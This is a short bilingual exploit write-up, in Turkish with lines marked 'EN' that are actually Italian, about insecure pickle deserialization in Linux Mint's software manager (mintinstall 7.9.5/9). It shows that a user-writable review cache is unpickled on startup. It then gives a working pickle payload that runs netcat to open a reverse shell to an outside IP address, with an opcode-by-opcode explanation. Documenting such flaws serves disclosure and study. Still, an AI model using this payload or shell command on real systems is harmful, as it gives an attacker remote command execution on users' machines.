[TR] Linux mint yazılım yöneticisi (v 7.9.5/9) yanlış yapılandırmadan dolayı obje enjeksiyonu ve keyfi kod çalıştırmamıza neden olmaktadır.

[EN] Il gestore software di Linux Mint (v 7.9.5/9) ci fa eseguire l'iniezione di oggetti e codice arbitrario a causa di una configurazione errata.

mintinsall

[TR] Mint yazılım yöneticisini çalıştırdıgımız da yeni yorum olup olmadıgını kontrol ediyor eger yeni yorum varsa new-reviews.list adresinden indirip dosyaya yazıyor.

[EN] Se c'è un nuovo commento, lo scarica da new-reviews.list e lo scrive nel file.

code mintinstall.py

[TR] Yazılım yöneticisini ilk başladıgında , reviews modülünden ReviewCache() sınıfını çağırıyor.

[EN] Quando il gestore software viene avviato per la prima volta, chiama la classe ReviewCache() dal modulo reviews.

Verileri Nasıl İşliyor?

Come elabora i dati?

code reviews.py

[TR] ReviewCache sınıfı başladıgında(init) _load_cache() fonksiyonunu çagırıyor.

[EN] Quando la classe ReviewCache viene avviata (init), chiama _load_cache().

[TR] Load cache fonksiyonu REVIEWS_CACHE degişkeninde olan dosyayı okuyup pickle modülü yardımıyla dosyanın içinde ki datayı unserialize ediyor ve bazı değerleri hafıza da tutuyor.

[EN] La funzione Load cache legge il file nella variabile REVIEWS_CACHE e deserializza i dati nel file con l'aiuto del modulo pickle e mantiene alcuni valori in memoria.

[TR] Dosyayı kontrol ettigimde yazma iznim oldugu görünüyor.

[EN] Quando controllo il file, sembra che io abbia il permesso di scrittura.

[TR] Pickle modülü yardımıyla serialize/unserialize işlemleri gerçekleştirebildigimizden, reduce metodu kullanarak modül dahil edip keyfi kod yürütebiliriz.

[EN] Poiché possiamo eseguire operazioni di serialize/unserialize con il modulo Pickle, possiamo includere il modulo ed eseguire codice arbitrario usando il metodo reduce.

[TR] Bu durumda eğer dosya unserialize edilmeye çalışılırsa zararlı kodumuz çalışacaktır.

[EN] Se si tenta di deserializzare il file, il nostro codice malevolo entrerà in azione.

cos 
system 
(S'nc -e /bin/sh 192.168.2.138 4545' 
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi 
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.